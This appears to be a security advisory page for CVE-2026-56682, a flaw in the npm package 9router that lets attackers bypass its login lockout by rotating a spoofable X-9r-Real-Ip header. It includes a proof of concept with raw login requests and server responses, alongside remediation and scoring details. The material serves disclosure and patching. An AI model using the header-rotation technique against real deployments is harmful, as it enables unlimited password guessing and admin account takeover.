Skip to content
CVE IDCVE-2026-56682GitHub advisory IDGHSA-32gc-64m7-hj7v

9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header

CVE-2026-56682 (GitHub advisory GHSA-32gc-64m7-hj7v) is a medium-severity vulnerability with a CVSS 3.1 base score of 5.3, classed as Improper Restriction of Excessive Authentication Attempts (CWE-307), in 9router (npm). Affected versions: <= 0.5.4. It is fixed in 0.5.8.

Medium5.3Fix availableGitHub reviewed

Published 22 Sept 2026Updated 22 Sept 2026

5.3MediumCVSS 3.1
EPSS
Not scored
Weaknesses (CWE)
  • CWE-307Improper Restriction of Excessive Authentication Attempts
  • CWE-807Reliance on Untrusted Inputs in a Security Decision
KEV status
Not in KEV
Published
22 Sept 2026
Updated
22 Sept 2026
Ecosystem
  • npm
Assigned by (CNA)
GitHub_M

Summary

Source: OSV (GitHub advisory)

9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.

Affected Component

  • src/lib/auth/loginLimiter.js
    • getClientIp() — derives the rate-limit bucket key from the client-supplied X-9r-Real-Ip header
    • checkLock() / recordFail() — per-IP progressive lockout (MAX_FAILS_BEFORE_LOCK = 5)
  • src/app/api/auth/login/route.js — login endpoint protected by the above limiter

Root Cause

The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. getClientIp() returns the value of X-9r-Real-Ip directly. The design assumes this header is produced and sanitized only by the trusted custom-server.js wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:

Untrusted Client Input
        ↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
        ↓
getClientIp()  → distinct bucket per request
        ↓
recordFail()/checkLock()  → threshold (5) never reached
        ↓
unlimited 401 attempts, no 429 lockout

Attack Scenario

  1. The instance is deployed in a mode that does not use custom-server.js, and the login endpoint is reachable by the attacker (the default bind is 0.0.0.0).

  2. The attacker submits password guesses to POST /api/auth/login, setting a different X-9r-Real-Ip value on each request (e.g., 10.0.0.1, 10.0.0.2, ...).

  3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns 429.

  4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.

Proof of Concept

Baseline — fixed header value (lockout enforced)

Repeated POST /api/auth/login with a constant X-9r-Real-Ip: 9.9.9.9 and body {"password":"wrong"}:

POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close

{"password":"wrong"}

Observed responses (sequential):

#1 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

#2 → 401  {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}

#3 → 401  {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}

#4 → 401  {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}

#5 → 429  Retry-After: 30
          {"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}

Exploit — rotated header value (lockout bypassed)

Same request and body, but a different X-9r-Real-Ip per request, sent while 9.9.9.9 was already locked:

POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close

{"password":"wrong"}

Observed responses:

X-9r-Real-Ip: 10.0.0.1 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

X-9r-Real-Ip: 10.0.0.2 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

X-9r-Real-Ip: 10.0.0.3 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

Every rotated value resets to "4 attempt(s) left" and never returns 429, demonstrating unbounded guessing.

Impact

The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (0.0.0.0) and the existence of a default dashboard password, both of which lower the effort required to succeed.

Remediation

  • Do not derive the rate-limit key from a client-controllable header. Base getClientIp() on the transport-level peer address (req.socket.remoteAddress) for the limiter bucket.
  • Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
  • If custom-server.js is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied X-9r-* headers at the edge before they reach the limiter.
  • Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Medium5.3Base score from GitHub Advisory Database

Attack Vector AV
Network
Attack Complexity AC
Low
Privileges Required PR
None
User Interaction UI
None
Scope S
Unchanged
Confidentiality C
Low
Integrity I
None
Availability A
None

CISA SSVC decision points

Exploitation
poc
Proof-of-concept code is public
Automatable
yes
Attackers can automate this at scale
Technical impact
partial
Limited control of the affected system

CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.

Affected packages

Source: OSV (GitHub advisory)

  • 9router
    npm
    pkg:npm/9router
    Affected versions
    <= 0.5.4
    Fixed in
    0.5.8

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 0.5.8 or later.

Patch commits

  • efd20bePatch commitgithub.com/decolua/9router

    feat(provider): add CodeBuddy CN provider (copilot.tencent.com)

    +234 −59 across 18 files

    • custom-server.js+9 −4
    • open-sse/executors/codebuddy-cn.js+36 −0
    • open-sse/executors/index.js+3 −0
    • open-sse/providers/capabilities.js+24 −1
    • open-sse/providers/registry/codebuddy-cn.js+62 −0
    • open-sse/providers/registry/codebuddy.js+0 −32
    • open-sse/providers/registry/index.js+1 −1
    • open-sse/services/tokenRefresh.js+3 −0
    • and 10 more files

Vulnerability intelligence

References

Credits

Questions about CVE-2026-56682

What is the GHSA ID for CVE-2026-56682?
GitHub tracks CVE-2026-56682 as GHSA-32gc-64m7-hj7v.
What is the CVSS score of CVE-2026-56682?
CVE-2026-56682 has a CVSS 3.1 base score of 5.3 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
Which versions are affected by CVE-2026-56682?
9router (npm): <= 0.5.4.
How do I fix CVE-2026-56682?
Upgrade to 0.5.8 or later. The fix is in commit efd20be.
What is the Package URL (PURL) for CVE-2026-56682?
The affected package's PURL is pkg:npm/9router.
Is CVE-2026-56682 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-56682. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc".

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)No record
  • CVE.orgLoaded
  • CISA KEV catalogLoaded
  • FIRST EPSSNo record

Fetched 1 day ago (14 Oct 2026, 17:49 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
SSVC
CVE.org
KEV status
CISA KEV catalog

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.